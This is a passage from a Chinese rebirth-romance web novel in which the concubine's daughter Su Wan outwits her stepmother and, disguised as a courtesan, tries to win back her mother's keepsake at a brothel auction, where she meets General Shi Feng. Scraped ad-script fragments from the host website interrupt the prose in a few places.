苏君识差点被活活气死,他大手一挥,衣袖扫过案边,带走一杯凉茶。茶盏“咣当”落地,咔嚓碎成两半,溅他一腿洇湿,好不狼狈。 “逆女,快拿大棒,给我打死,打死!” 一旁苏夫人斜睨苏君识,清了清嗓子,“老爷不必置气,她既然喊冤,那就跟她掰扯掰扯,让她心服口服,再无可辩驳。” 苏君识一听,立马好似被夺权的将军,泄气缩回太师椅,将战场指挥大权拱手交给苏夫人。 苏夫人正过身子,丹凤眼睐着苏绾,两片薄唇道尽世间百态,“沅儿生性纯良,断不会诬陷好人,她受此天大侮辱,我当娘的必要为她做主。” “你说你没偷腥,还拉了许多人做证。徐嬷嬷迟暮之年,老眼昏花,一丈开外之处,是人是狗都分不清,如何替你做人证?你还寻了我的人为你遮掩真相,我问过阿沁,她送钗环的时候,说你正在沐浴更衣,并未亲眼目睹本人,如何证明你没扯谎?你若说不清楚,别想竖着出去这厅堂。” “至于那名小厮,我正要差人审问他,哪知道他竟打烂柴房门锁,逃之夭夭。不是畏罪潜逃,还会是什么?” 苏夫人一席话语,直击得苏绾五脏六腑冰寒彻骨。 她被苏沅芷陷害,骗至西厢房后被人一棍子敲晕,期间无霜被人借故支开,使她错过徐嬷嬷和阿沁的到访。正如苏夫人所说,她并无在场证明。 她从时枫那里脱身后,曾暗地嘱咐无霜,打发随从奴仆文竹拦截逃跑的小厮,威逼利诱买通他撒谎。待厅堂审讯结束后,文竹又悄悄打开柴门,放走小厮。 上一世,那名小厮完成任务后,回到乡下老家避难,被温如初逮住,放猎狗活活咬死。是以文竹特别嘱咐小厮,千万不可返回老家,天涯海角随你选。 至于苏沅芷,不过是顺手惩治她,谁让她先动手使坏。虽然最后在温如初斡旋下,苏绾得以恢复清白,然而此举也促进婚约进程,导致她同年七月就嫁入温家,提前开启地狱之旅。 百密一疏,她低估了苏夫人的聪明才智,竟被看出逻辑破洞。这一回,恐怕难逃苏夫人的火眼金睛。 苏夫人饧眼望着苏绾,嘴角挂着鄙夷且自负的笑容,蔻丹手指半拢着,轻轻扣敲茶案。 苏殷氏本为江南世家小姐,书香门第,家世显赫。母兄殷潜官至从二品浙江布政使,曾祖父曾任宰相,家中世代为官。 苏君识当年不过一介穷书生,殿试三甲第一名进士。殷老太爷看中他一品人才,白衣公卿,有意招赘他为婿,纳入殷家门下。 谁知苏君识年轻气盛,死活不肯入赘,硬要靠自己打拼。后屈于势力压迫,被迫娶殷家小姐进门,官场沉浮二十年,青松落色,混得不过尔尔。 苏殷氏拿捏住他,常常耳提面命,称他不识抬举。苏君识悔不当初,如今年过四旬,亦是有心无力。 苏殷氏心高气傲,凡事都想争头名,无奈嫁错夫君,落得一世平凡。争名夺利之路走不通,便力图在深宅大院逞脂粉英雄。 自她进门以后,勒令苏君识不得纳妾,连出去应酬每每都要过问三番。 某年苏殷氏抓到苏君识养了一房外室,她擅作主张,亲自接外室进苏家门。后又寻了不是,将那外室治罪溺死。 苏君识虽有怨怼,亦不敢当面忤逆她,此事不了了之。 那外室便是苏绾的亲娘。 苏绾跪坐在地,捋了捋额间散落青丝,面容坦然,“母亲所言甚是,人证物证不足为信,我亦无法自证清白。唯有验明正身,方能还我公道。” “但我也不是任人摆布的傀儡,若能验明我清白之身,母亲须给予我一个承诺:苏沅芷搬弄是非,陷我于不义,当以家法伺候,再去祠堂下跪,面壁思过,三日不得进食。母亲也当亲自向我道歉赔不是,从此不得再拿此话题说事。” “倘若母亲不肯依,那便不要验我,今日之事到此为止,只当没发生过,我亦不会记恨苏沅芷。” 苏绾眼眸一凛,寒影曝射,“母亲可愿给予承诺?” 厅堂昏暗烛火,映照苏绾本来惨白的面容,温暖红润,如女神般威武不能屈。 苏夫人身子摇了摇,发髻黄金分心明晃晃刺眼,哂笑道:“你少糊弄我,当我不敢撇下脸来验你的身?我什么风浪没见过,专门对付你们这些骚浪蹄子。你娘当初也那般信誓旦旦,坚称自己没卖肉偷汉子,结果还不是人赃并获。可见天理轮回,公道自在人心。” 苏夫人果然见多识广,她判断苏绾不过虚张声势忽悠她。苏沅芷即便当真设计捉奸,也不会蠢到自己打自己脸。 奸夫必定真有其人。 按照所述当时情景,苏绾看似轻车熟路,提亲当日胡作非为,绝不会是第一次偷腥,只怕失身已久。 她挥手招来四婆子,合力将苏绾抬到后厅隔间,鼓捣大约一炷香功夫,又将苏绾抬出来。 苏夫人急切问道:“怎样?” 婆子报告:“回禀夫人,二小姐乃完璧之身。” 苏夫人不死心,“你们可看清楚了?” 婆子老实回道:“奴婢看清楚了,那年二小姐手腕处种下的守宫砂仍在。奴婢们不放心,又亲自验了二小姐身子,确实清白无瑕。” 苏绾跪伏地面,石榴裙被磋磨得充满褶皱,裙角也有些残破,显然婆子们下手不轻。 她抬手拭去额间湿汗,冷笑道:“我说什么来着?苏家阖府从上到下从里到外烂透了。苏家脸面可不是被我丢掉的,莫不如先自察自省,看看自己做过哪些亏良心散德行的龌龊事,小心泼向别人的脏水洒到自家头上。” 苏绾加紧攻击,“事已至此,母亲总该履行承诺,向我赔礼道歉,惩罚苏沅芷。”她偏过额首,横眉冷对一众婆子家丁,命令道:“你们还愣着做甚?快拿苏沅芷去祠堂问罪。” 仆人们面面相觑,不知该如何处理,犹犹豫豫不敢行动。 苏夫人心情陡然跌落谷底,只恨自己看走了眼,竟被小小庶女算计,赔了夫人又折兵。思忖良久,竟也寻不到半点理由借口,只好忍气吞声,耍起无赖,“沅儿不是已经受到教训?甭管她是不是自作自受,面门捱那一下,已教她肠子悔青,你还想怎样?她毕竟是你的骨肉至亲,身体里都流淌着苏家血液。” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你我母女之间,谈不上谁对谁错,为娘所做一切,还不都是为苏家门面繁荣兴盛。你作为苏家一分子,当以为苏家添光为己任,而不是揪着母亲姐姐的小错误,非要争一层脸皮。” “此事就此作罢,苏家不会再追究任何人对错。” 左说右说,反正就是不愿兑现承诺。态度蛮横无理,与苏沅芷如出一辙。苏家人的丑陋嘴脸,苏绾两世早已看破看透,她嗤笑一声:“这个时候跟我谈骨肉亲情,才是我这辈子听过最好笑的笑话。” 她缓缓挺起胸膛,铿锵道:“你以为我愿意姓苏?我巴不得早点离开这吃人的家,此生再不回头,眼看着苏家大厦倾覆。” 苏夫人牙齿咬得咯咯响,但又没立场反驳苏绾,才厚脸皮拒绝兑现承诺。 苏君识探身讪讪道:“夫人息怒,贱女虽能逃过此劫,但她总有犯到咱们手里那日,将来再治她的罪就是。” 苏绾抬眸睇着她的“父亲”,眼底薄薄的悲凉浮漫出来。眼前这个人从未尽到做父亲的责任,对她亦无半点怜爱疼惜之情。 都是他的血肉骨亲,凭什么苏沅芷得万千宠爱,而她却如过街老鼠?既然不想要她这个女儿,当初为何生她? 越想越气,苏绾遂起报复心,“父亲近两年来,无故增添许多外勤公务,常常一走就是两三月。我倒是听闻一些风言风语,有人在通州宝坻县民居撞见父亲,听说还不止父亲一人,携家带口的,许是那人看错了,也未可知。” 苏君识一听,登时吓出一身冷汗。他的确偷偷在通州豢养一户外室,已生就子嗣,此事他瞒得很严,苏绾如何知晓? 苏绾自是无处得知。 上一世苏君识蒹葭倚玉,仗着温如初庇佑,行止跅弛胆大不少,不经过苏夫人同意,强行迎娶外室为妾,进门时儿子都已五六岁。 算一算,这房外室目前应是带着一岁左右的孩子,住在通州别院。 “夫人听我说……” 苏夫人满腔怒火正愁无处发泄,苏君识却是撞在刀口上。她也无暇辨别苏绾所言真假,宁可信其有,不可信其无,先治苏君识不忠不义罪名。苏夫人当即撂下脸来,也不听他辩解,召唤婆子收拾行囊,吵着闹着要回钱塘老家。 苏君识哄劝半宿,闹得鸡飞狗跳,阖府不得安宁,最后在书房草草睡下了事。 夜幕降临,缺月挂疏桐。 苏绾拖着疲惫不堪身体,被人架回闺房。 无霜见她浑身伤痕累累,体无完肤,尤其脖颈处已有些溃烂,不禁心痛地泪水涟涟。 “小姐何苦招惹这些是非?安心嫁给温侍郎,永远逃离这个恶魔之家,不好吗?” 傻孩子,温侍郎绝不是归宿,而是无间地狱,摧毁她所有的自尊自爱,剥夺她一切爱的权利,将她变成助纣为虐的虎伥。但愿她重活一世,不会再踏入当年的血泪之行一步。 上一世,她以身体和贞洁作为“敲门砖”,为温如初入阁前程铺平道路。可她尚未抚平身心伤口,又急匆匆得到下一项任务——引诱异姓王绥靖王,一品“威武将军”时枫。 那日亦是春和景明,波澜不惊。在五品东阁大学士温如初的书房内,她被剥光衣裳,当做一盘女体盛飨,横陈于玉石桌案。 “我不狎妓。”男人凤眸一凛,语气冷若冰霜。 彼时的时枫已经知晓,她作为章阁老的宠妾所做的荒唐霪乱之事,包括模仿她的玉体打造金银器皿。 男人视她为“妲己”祸国,狐媚子蛊惑人心,自然不会让她奸计得逞。 当她伸出酥臂,试图触碰他时,“威武将军”潇洒回转,顺手拔掉墙壁悬挂的宝剑。在苏绾脖颈处,挽了一个剑花,霎时乌发自耳根处齐刷刷截断,散做满天银河瀑布。 “念在温如初的情分,我不杀你。斩发如斩首,你当谨记在心。” 清冽凤眸睥睨窝在地上瑟瑟发抖的苏绾,男人冷冷如是说。 那日之后,苏绾顶着一头齐耳短发,被温如初关进狗笼整整一个月,以惩罚她引诱失败之举。而待她爬出狗笼时,灵魂陷入泥淖,脱胎换骨沦为彻彻底底的“恶之花”,成为祸国殃民的“一代妖姬”。 光影流转,簟纹如水帐如烟。 苏绾身子栽歪床头,望着窗外半边玄月,隐匿纤凝,始终不发一言。 7. 竞拍 纳征之后,苏夫人忙于同苏君识生闷气,将他铺盖卷了扔到书房,吃住均单独安排。 苏沅芷脸面受损,肌肉腠理腐烂,呈现蜈蚣状永久疤痕,终身残障。她精神严重受挫,时哭时笑,时好时坏,发作起来满地打滚,阖府不得安宁。 苏君识虽心疼爱女,然则留在宅子也不是办法,不得不将其送至承德避暑山庄,明为借热河疗养身体,实则藏匿毁容的千金小姐。 至此,苏家嫡女苏沅芷下线。 苏家对外疲于应付关于纳征纷争的闲言碎语,对内则偃旗息鼓,暂且放松对苏绾的折磨。苏夫人碍于对苏绾食言,颜面无光,遂不再提往事。苏绾得了空闲,休整调息十日,才算彻底从重生阴影走出来。 柳绿花红带春烟,韶光淑气,光景浑如初夏时。 这日,苏绾按照规矩,一早去同苏夫人请安。还未进厅堂,便听见谈话声。 “娘亲~” 苏家嫡子苏尽欢,特意反常例起了大早,将苏夫人堵在厅堂。苏尽欢乃纨绔子弟,玩日愒月,不学无术,家主花钱为他捐了秀才,当前赋闲在家。 “行院正举办‘拍卖会’,借着清理旧物库存的名头,竞拍姑娘们私人物品,招徕生意。只须一千两,便能买断春月坊的头牌‘青凤’,点她的大蜡烛。” 苏尽欢扯着苏夫人衣袖,咧开大嘴撒娇:“青凤姑娘自打从艺以来,莫说一千两,三千两都不见得冲你笑一笑。机不可失,时不再来。这样的便宜,打着灯笼找不准。” 按照苏夫人的习惯,狎妓□□,必是不允许的。许是近日苏老爷“举案齐眉”做得规范,让苏夫人心情大好,竟二话不说允了逆子一千两银子,喜得苏尽欢连连行大礼,拜谢“太后吉祥”。 苏绾无意探听这消息,如获至宝。她正有桩心事,她的娘亲九香离开“春月坊”时,曾留□□己物什给姐妹代为保存,只可惜未得机会赎回便香消玉殒。 上一世苏绾忌惮娘亲身份,从不敢擅自提起过去行院旧事,遑论跟行院打交道。 如今好不容易重生,不如趁此机会去趟“春月坊”,拿回娘亲遗物,也能留下念想。 既如此合计,苏绾放弃请安,匆匆回到闺房。她坐梳妆台前捯饬,涂抹脂膏,提高眉骨,团高发髻。又让小厮文竹去账房柜台,偷来几件新近裁剪的华服。 须臾,潇洒世家公子模样显露。 苏绾负着手,煞有介事转身,迈开方步,果真风流才子多春思。 她尝试利用口技,模仿公子语气问道:“在下这厢有礼,见过无霜小姐。” 无霜的小脸瞬间绯红,她捂着脸惊叫道:“小姐,你怎得听起来如男子无二致?” 苏绾做了个鬼脸,眼眸狡黠地眨了眨,“你家小姐的本事,可大着哩。” 她嘱咐无霜打掩护,自己外罩宽大的斗篷,头戴黑纱帷帽,从偏院悄无声息离开苏府。也不叫马车,只坐一顶轿子,摇摇晃晃,很快来到京城第一行院——“春月坊”。 行院门庭若市,人头攒动。灯起长廊,流斛伴影,香案环绕,摆满珍奇玩物,不乏舶来贡品。 果然,行院正举办一场史无前例的拍卖活动。每件物品代表一位花娘,恩客竞拍物品成功后,既得到该物件,同时也免费获赠花娘春宵一刻。 其实,就是变着法子做皮肉生意——亏了老鸨心思活络,生意头脑精明。 苏绾徜徉来回,还真在一堆物件中,发现娘亲的遗物——银胎掐丝珐琅盒。一拃来长,上镶仙芝祝寿花纹,胎质细腻致密,通体光滑如玉。 打从苏绾记事起,她就知晓娘亲拥有那银盒。十年前嫁入苏家时,九香预料苏夫人不会让她好过,遂留了一手,将银盒封漆存留给行院要好姐妹。 那位姐妹,想必也是值得信赖之人,并未私自占有,银盒原封未动。只是不知何故,银盒几经转手,现今归于一位名叫“宝蟾”的年轻花娘所有。大概名气不响,目前仅一位买家竞价。 苏绾按捺喜悦心情,向标的铭牌望去,瞬间冷水浇灌。上面写着买家名字“冰山客”,竞价五百两。 五、五百两。 据她所知,那位宝蟾姑娘并非头牌,价钱虚高如此,出乎意料之外。 再贵也得买,本着能省则省的原则,苏绾咬咬牙,在“五百”文字后面,标注“加一”,随手胡编个名字——“段公子”。 段公子溜达巡回,宝蟾姑娘的盒子,又多一条竞价:七百两。 好家伙,苏绾惊得直咋舌。这位恩客好大手笔,多半宝蟾姑娘的老相好,为她添名挣业绩呢。 苏绾不断腹诽,不得不继续跟价,依旧“加一”,让对方知难而退,她也少花点冤枉钱。 段公子嘬着一杯“大红袍”,再次转回台前。不出所料,盒子新价“八百五十”,等于苏绾十年积攒全部身家。 苏绾心头滴血,嗟叹时运不济,撞进“痴情富公子”表白“行院一枝花”现场。 颤抖着双手,段公子再次“加一”,其中一字歪歪斜斜,好似一条丑陋蚯蚓。 下完注,苏绾隐匿廊柱后方,窥探跟她抢生意之人——冰山客的真容。 不知何时,台前渐渐围满好奇的宾客,见他二人竞拍激烈,低头窃窃私语,讨论两位公子是何来头。 很快,穿戴整齐的侍从来到台前,果断写下“一千”二字,又转身趸进雅房。果然富家子弟,气派非凡,出入随行都有侍从。 将她抽筋剥骨,也榨不出一千两。 苏绾无奈叹口气,只得另谋打算。但她转念一想,既不让她好过,她非要让对方吃点亏不可。 段公子衣袖一甩,“加一”。 宾客大加赞赏,段公子好气魄。 这一次,侍从不再淡定,似乎犹豫不决,端着铭牌半天不肯下笔。中途又跑进门,再回来时,大笔一挥,“两千”。 段公子掩面失笑,摇了摇头,仰天故作叹息:“也罢,君子成人之美。段某祝冰山客与宝蟾姑娘,良缘似锦。” 一招“请君入瓮”,算是被苏绾玩明白了。 段公子拒绝跟进,冰山客豪掷两千,赢取青楼薄幸名。围观宾客纷纷咋舌,都道宝蟾姑娘遇见大主顾,竟然赢过头牌青凤。 雅间门洞开,侍从趸至台前,拾起铭牌瞥了一眼,“我们爷说,段公子承让了,两千毛毛雨,给宝蟾姑娘添两件首饰。” 他从怀里掏出一张银票示人,“这里是二十两,我们爷请段公子吃茶,出门右转茶摊大碗茶伺候。请~” 一面说,一面将银票狠狠摔案上,收起珐琅盒,转身决然进门。 见对方下了逐客令,段公子拈起银票仔细查看,对着雅间方向隔空拜了拜,“段某谢过。”言毕,亦甩袖潇洒离去。 就此一段冤案了结,众人皆大欢喜,直言今日这遭不白来。 苏绾按捺激动心情,出门绕了一圈,借人群掩映又悄悄返回行院。 嘻嘻,不过小施一计,害对方血亏不说,轻松赚取二十两纹银。 然而还不算完胜,看她再施一计“顺手牵羊”,或偷或骗或抢,盒子必须拿到手。 段公子趸上二楼,拦截正欲出台的宝蟾姑娘,凭借姣好皮相外加一张巧嘴,以错失竞拍良机为借口,打探“冰山客”来由。 令她惊讶的是,宝蟾并不认识这位冰山客,亦对其来意及阔绰手笔迷惑不解。 段公子微笑颔首,敬了一碗“大红袍”给宝蟾,看着她一饮而尽。 大约半刻钟功夫,宝蟾眉头微蹙,脸色发青,浑身发抖,双腿打着颤儿告别,急奔茅房。 段公子嘴角翘了翘,茶碗里哪有什么大红袍,是她方才外出隔壁药铺采买的番泻叶,有通便润肠功效,治一治宝蟾的便秘老毛病。 如玉公子轻轻阖合闺门,翻箱倒柜找出烟云罗纱裙,对镜贴花黄。 啧,今日的宝蟾姑娘,怎得格外美艳方物。 * 时枫近来运交华盖,登门造访发小纳征,平白无故惹出一身烦扰,心里这口闷气始终难以纾解。然他不欲与女子相计较,只当自己白日撞鬼,啐两口唾沫了事。 眼前正有件要事,亟待他解决。朝廷并非无故调任他这位“罪王世子”,当三品京卫指挥使。 前任指挥使勾结西南藩王,卖官鬻爵,密谋将藩王亲信安排皇帝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 鼻子底下共事。指挥使与亲信接头时,被锦衣卫扑个正着,捉拿羁押诏狱,京卫群龙无首。 京城正值多事之秋,时枫在这节骨眼走马上任,第一把火必然先将前任余党翦除干净。 京卫四品指挥佥事,绰号“三哥”,乃前任指挥使老部下,不可能不知其罪行。事发之时因病告假,未被抓住半点把柄。 时枫监察三哥月余,并未抓到任何实质证据。只查出三哥有一相好“宝蟾”,是“春月坊”的花娘,三哥每月休沐旬假都会点宝蟾的桩。 事发之日,三哥正是因为与宝蟾偷偷相会,才错过接头事宜,也因此捡了条性命。 三哥通敌线索查无实证,时枫只好打起宝蟾的主意,期望能从花娘嘴里套出蛛丝马迹。 可让谁去执行“套话”任务呢? 侍卫晴雷一听,摇头如拨浪鼓,“使不得使不得。” 他攥紧腰间雁翎刀,“属下年纪小,恐被反套路。况且——”他咽口吐沫说道:“属下尚未婚娶,传出去毁我清誉。” 晴雷年方十六,从小跟着时枫战场拼杀将近十年,跟随时枫调回京城。 时枫瞪他一眼,“你有屁清誉,留着自个儿玩吧。” 没办法,只得老将亲自出马,春月坊会一会美娇娘。正赶上行院举办旧物拍卖促销活动,所谓“买一赠一”,恩客须拍下花娘的信物,方得免费春宵一刻。 “都是噱头。”时枫啐了一口,扑棱躺倒红木塌床,翘起二郎腿。 窗格敞开,微风慵懒地拂过面颊,淡淡花香停留鼻尖,好似少女裙摆飘扬,时枫不知不觉睡着了。 梦中视野宽阔,圆月升紫湖,氤氲散高树。时枫侧卧湖边一席,临风对月畅饮,慨叹人生几何。 酒半微醺,忽见远处一白衣女子,自薄雾深处来时,匆匆一闪而过。 他揉了揉醉眼,疑心自己撞鬼。迷惘犹豫之际,白衣女子趸至湖边,扑通跳入深湖。 时枫蹭的跃起,纵身钻进水波,几个翻转,终于抓住女子,挣扎拖拉上岸。 见女子已然晕厥,时枫顾不得男女伦常,握拳敲击腹部,施展急救术。 未几暇,女子苏醒,翻身咳嗽呕水。时枫贴心地拍其后背。 等到女子略微好转,时枫这才得空定神睇她,不看不知道,白衣女子竟是温如初的新婚发妻,苏绾。 婚礼喜宴,他亲眼见证一对妙人喜结良缘。虽未目睹新娘娇容,新郎的风采与得意,写尽如玉面庞。 “为什么?”他感到迷惑不解。 苏绾无力地掀眸,眼神触碰到时枫,瞬间凝滞,如受惊的小兔,咬紧灰白嘴唇,瑟瑟发抖。 “是时、时将军,我、我知道错了。” 时枫疑心她尚未清醒,“你错在哪里?” “我、我不该,弄脏将军的靴子。” 纳征宴席的一面之缘,的确触了他的霉头,但他后来得悉,罪魁祸首是苏家嫡女,所有误解也一并消除。 “该道歉的人,是我。我误会你了。”时枫咬了咬唇,他不擅长表达歉意。 苏绾摇了摇头,“不……不是误会。” 苍白的脸庞闪着晶莹微光,不知是泪,还是水。 “我这样的人,不干净……” 眼眸失去了光彩,余留灰蒙蒙鱼眼白。 时枫骤然感到心脏被人揪着不放,钻心地疼。他欲问清楚前因后果,可他决定暂时放弃这个念头,他有更重要的事情要做。 他攥了攥拳,“不要这么说。你是位好姑娘,要好好地活下去。” “好好……活下去?” 眼眸瞬间点亮星辉,只一刹那,迅速黯淡,无力阖合。 苏绾又晕了过去。 望着破碎的玉兔,时枫犹豫一息,终放下心防,将苏绾横腰抱起。 怀抱中的身体轻飘飘,又沉甸甸,拉扯他的心,起起伏伏,上下颠簸。 蓦然间,心里产生一个想法,疯狂荒诞,违背人伦。 他想庇护她。 月辉映照,风散薄霭,忽然锦白衣袍眼前一闪。 “榆白,你怀里抱着的,可是我的妻?” 8. 会客 时枫猛然惊醒,慌乱中手脚乱抓乱踢,打翻塌几上的茶碗,咕噜咕噜,“啪嚓”一声摔地碎裂,惊得随从急上前来,连连问候。 原来是梦,他松口气。 梦里场景历历在目,内容匪夷所思。 他居然想要庇护一只狡猾的狐狸。是嫌自己受骗上当次数不够多?还是说,他天生有受虐狂倾向? 有病。他在心里暗骂自己。 时枫两手揉搓太阳穴,努力驱散不愉快的回忆,办正事要紧,他提醒自己。 随从麻利地收拾干净现场,上前拜道:“将军,咱们该下注了。” 晴雷死活不肯来行院,跟随他的是一名“经验颇丰”的九品知事,乃春月坊的熟客。依据知事建议,直接一口气掷五百两买断宝蟾,省去跟人竞拍的麻烦,避免意外发生。 然而越怕什么,越来什么。标的下注后,本以为十拿九稳,谁知半路杀出个程咬金,竟在“五百”其后,添了一笔“加一”。 什么意思?挑衅? 时枫蹙了蹙浓眉,命令知事提价“七百”。 结果,再次出现“加一”。 时枫不信邪,又将竞价提至“八百五十”、“一千”,不出所料,均被对方紧随其后。 知事亦头回遇见这等怪事,对方分明恶意标价,意在宝蟾姑娘乎?据他所知,宝蟾的相好,只有三哥,未曾听说其他恩客。 “将军,属下擒了那段公子,看他敢耍花招。” 行院搞出太大动静,让他这京卫指挥使颜面何存?鹞子还未捉到手,鸡飞蛋打一场空。 罢了,多一事不如少一事。 时枫凤眸一沉,“压他两千,再许二十两请他喝茶。倘若仍不知好歹,绑了手脚丢进清水河。” 不一会,知事回来禀报,段公子收银子走了。 时枫哼了一声,不过贪小便宜的浪荡子,咬着他不放就为挣点蝇头小利。 然而那两千的账,却要从他自己腰包里掏。出师未捷,自损两千,好不晦气。 好在标中宝蟾,亦算不虚此行。接下来,只要许她些好处,几两银子的事,管保从她嘴里抠出有价值的消息。 时枫咬了咬牙,怒发欲起立,“嘿吼嘿吼”给自己鼓劲。他活动筋骨,踢腿打拳,端出将军汗马百战场的架势,蓄势待发。 知事一旁捂嘴偷笑,从没见过嫖妓搞得像点将上战场,冷面将军照会老道花娘,话本子都没这么精彩。 * 一卷罗帕遮红颜,佳人玉立生此方。宝蟾姑娘步步生莲,袅袅婷婷立于雅间外。 冰山客,准备好迎接奴家否? 苏绾并非第一次设局诱捕野兽,“冷面阎罗”她都不放在眼里,还会怕他小小“冰山客”不成。 她胸有成竹,志在必得。非要从恩客手里,夺回母亲遗物不可。看她演这出“狸猫换太子”,杀他个出其不意,片甲不留。 “小女子宝蟾,拜会冰山公子。” 一声娇啼隔着木门钻入缝隙,痒痒的,挠人心房。 时枫兀自一愣,浑身莫名紧张。他同晴雷相比较,不过五十步笑百步。虽已弱冠之年,人生大半岁月皆在兵营沙场度过,并未积攒多少红楼经验。 他从塌床弹坐起身,一本正经整理衣襟,摩挲护腕处新近镶嵌的绿松石——托那位“疯婆子”的福,墨玉翡翠沦为苏家捉奸的物证。 知事见他这副生涩模样,憋笑憋得几欲咬碎后槽牙。敢情叱咤沙场的“冷面阎罗”,竟是位不沾风月的“正经人”。 时枫睨了知事一眼,吩咐道:“你监守门口,任何人不得擅入。倘若有人存心捣乱,直接绑了送入大牢。” 知事应允,心里嘀咕:谁有这胆子,敢跟时将军叫板,活腻歪了。 他边走边琢磨,伸手打开门,香风吹人花乱飞,迷了知事的眼。 朦胧间,见一女子薄纱半遮面,流盼眼眸,容颜昳丽,柳亸花娇。 他以为自己看错,努力揉搓眼皮,不禁暗自嗟叹:春月坊的二等花娘,姿色竟如此上乘。 女子嫣然一笑,直撞知事心窝。“经验颇丰”的老手,瞬间沦为裙下臣,目瞪口呆站立半晌,竟忘记迎接女子进门。 直到身后冷冷响起一声咳嗽,知事如梦方醒,“宝蟾姑娘,请~” 宝蟾点点头,摇曳跨越门槛,低首莲步堂前,羞涩福了福身,“小女子不才,承蒙公子垂青,祈愿尽心竭力服侍公子。” 窈窕淑女侍立半日,不见堂前任何回应,心里顿生疑窦。这位“冰山客”,难不成是哑巴? 苏绾抬起螓首,殷切目光望向面前端坐之人,不想撞进深邃乌云。 那片乌云深处,浸没一双同样震撼的眼眸,内藏万千深海。一道微光遽然闪过,倏然收拢复杂心绪。 “你果然是娼妓。” 怎么,是他? 苏绾心内一颤,刹那间,脑子里产生无数疑问,究竟哪项环节出了问题,百思不得其解。难道这一切,都是他设计的陷阱?莫非他早已知晓自己的来历和身份? 两世风云变幻,威武将军铠甲戎装,巍峨挺立,凤眸斜睨,寒光泼眼,嘴角冷冷迸出几个字:“我不狎妓。” 脑海被扑面而来的记忆阗满,令苏绾分不清前世今生,竟忘记驳斥“娼妓”一说,呆呆立在那里,站成一朵红云。 见她不予回复,男人沉着脸,凤眸泛起阴鸷,“还想狡辩?”他身子向前挺了挺,“你又如何解释,苏二小姐?” 一声“苏二小姐”,瞬间将苏绾拉回现实。谢天谢地,上一世的威武将军,可不会这样称呼她。 先不说对方为何会出现在行院,也不管他有没有发现她重生真相,眼前她假扮花娘被抓现行,传将出去苏家非剥她的皮不可,必须想办法脱身。 苏绾瞥了一眼窗格方向,二楼不算太高,破窗逃走的话,对方势必大张旗鼓捉拿她,整条街都知晓苏家二小姐来行院厮混。 唯有光明正大从正门走出去。 “公子真爱说笑。”宝蟾悄悄后退一步,莞尔道:“小女子乃春月坊的花娘,如假包换。怎会是什么苏二小姐?想必公子眼花,认错人了罢。” 时枫十分确定,眼前烟花女子,就是几日前将他耍得团团转的疯婆娘。那双澹如星子的眼眸,深深镌刻在他的记忆,挥之不去,连带着被蒙蔽戏弄的愤怒。 男人倚靠塌床椅背,嘴角飘出冷笑:“还在嘴硬。看来,你很喜欢当娼妓。”眼眸一沉,“天生的贱种。” 苏绾差点咬碎贝齿。 但她硬将怒火吞进肚,又往后退一步,满脸赔笑,“公子富埒陶白,怎知人间疾苦。哪有人天生就爱吃这口饭,不过混日子讨生活而已。” 退至门口,借故离开,是苏绾的应对之策。 但她拿不准对方底线在哪里,万一惹恼“冷面阎罗”,将她送入监牢,也不是不可能——他第一天就严辞警告过她。 距离门口,不过一丈远。 “不错,谁不是讨生活呢。”男人单膝支立,搭坐塌边,眸光佻达慵懒,“唱个小曲儿听听,唱得好的话,有赏。”摆出一副看好戏的架势。 “还是说,你不愿意?”语气紧迫,步步逼近。 苏绾当然不愿意,宝蟾就不一定了。 宝蟾浅笑道:“原来公子想要听曲儿,早说嘛,奴家最擅长的,就是唱小曲儿。” 宝蟾姑娘轻启朱唇,发皓齿,唱出几句吴侬软语;微拂玉手,流淌一段委婉苏腔。 一曲终了,花尽心思乱霏霏。 “公子满意否?”宝蟾笑意盈盈,眼眸泛波春水。 时枫听得愣神,他单晓得她是苏家二小姐,锦衣玉食,阳春白雪,不该带有市井烟火气。况且,还是江南苏腔软调。 可他不知道,九香乃扬州瘦马出身,清歌曼舞最是一绝,苏绾亦得母亲真传。而且上一世,温如初也曾送苏绾去教坊司学习各种歌舞乐艺技艺,伺候男人只是其中一项技能罢了。 “凑合。”男人咋了咋牙,“你还会别的什么?” 眼神飘向门口 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,还有最后一段距离。 宝蟾娇柔道:“妾送上一支《霓虹舞》给公子尽兴。”她请求道:“劳驾公子击案伴奏。” 得到对方应允,节奏响起。 但见宝蟾柳腰回转,水袖流风,起舞清影,化作玉蝶,花绊绮罗香。 时枫心内疑窦丛生,观其舞姿翩翩,非一日之功。歌舞俱佳,还会说书唱曲,难道她真是行院的花娘? 想来想去,不禁又有些头疼,索性闭上眼睛不去瞧那烦恼根源。 苏绾抬头望去,男人沉浸曼妙舞姿,闭目养神,似陷入无我境界。 好机会。 她抓住空隙,旋转几周至门前,双手猛然推开门,“抱歉,妾喝多凉茶,这会子身急,待我去去就回。” 门外站着知事,在她意料之中。行院人来人往,总不能在眼皮子底下强抢。 然苏绾算错一步。 她一眼瞥见人群里招摇过市的纨绔公子,手举铭牌大喊:“青凤姑娘,看我看我,我出一千两。” 青凤根本不瞧他,宝蟾都能卖出两千,她怎能甘居人后。 纨绔公子不识相,拨开层层叠叠人流,奔赴春月坊头牌,“青凤姑娘,我来了。” 好巧不巧,苏绾所处的雅间,正位于青凤背后。 糟糕。 苏绾这时出去,正面撞见苏尽欢,尴尬局面让她百口莫辩,还会被拖回府里羞辱。 被“冷面阎罗”识破真相,总好过被苏家拿住把柄。不过一匹野兽,白日当天,还能吃了她不成。 迎上知事错愕的眼神,宝蟾冲他嫣然一笑,旋裙娇嗔:“生意如此兴旺,嫲嫲撞头行大运。” 双手阖上屋门,苏绾眼眸一沉。宝蟾装不下去了,是时候以真面目示人。 素手掀开面纱,露出盛世容颜。心较比干多一窍,病如西子胜三分。闲静时如娇花照月,行动处似弱柳扶风,步步生莲花。 但愿能唬得住那匹猎兽。 “时将军,别来无恙。你可还好?” 时枫全程一动未动,坐看庭前花开花落。心里暗暗赞叹疯婆娘的胆量,竟敢当着他的面,大摇大摆启门脱逃。 这跟当众扇他耳光有何区别? 他已看清楚,今日这一局,意在敲诈他银钱,跟他竞标的“段公子”,分明就是疯婆娘假扮。她不是最擅长模仿别人言行? 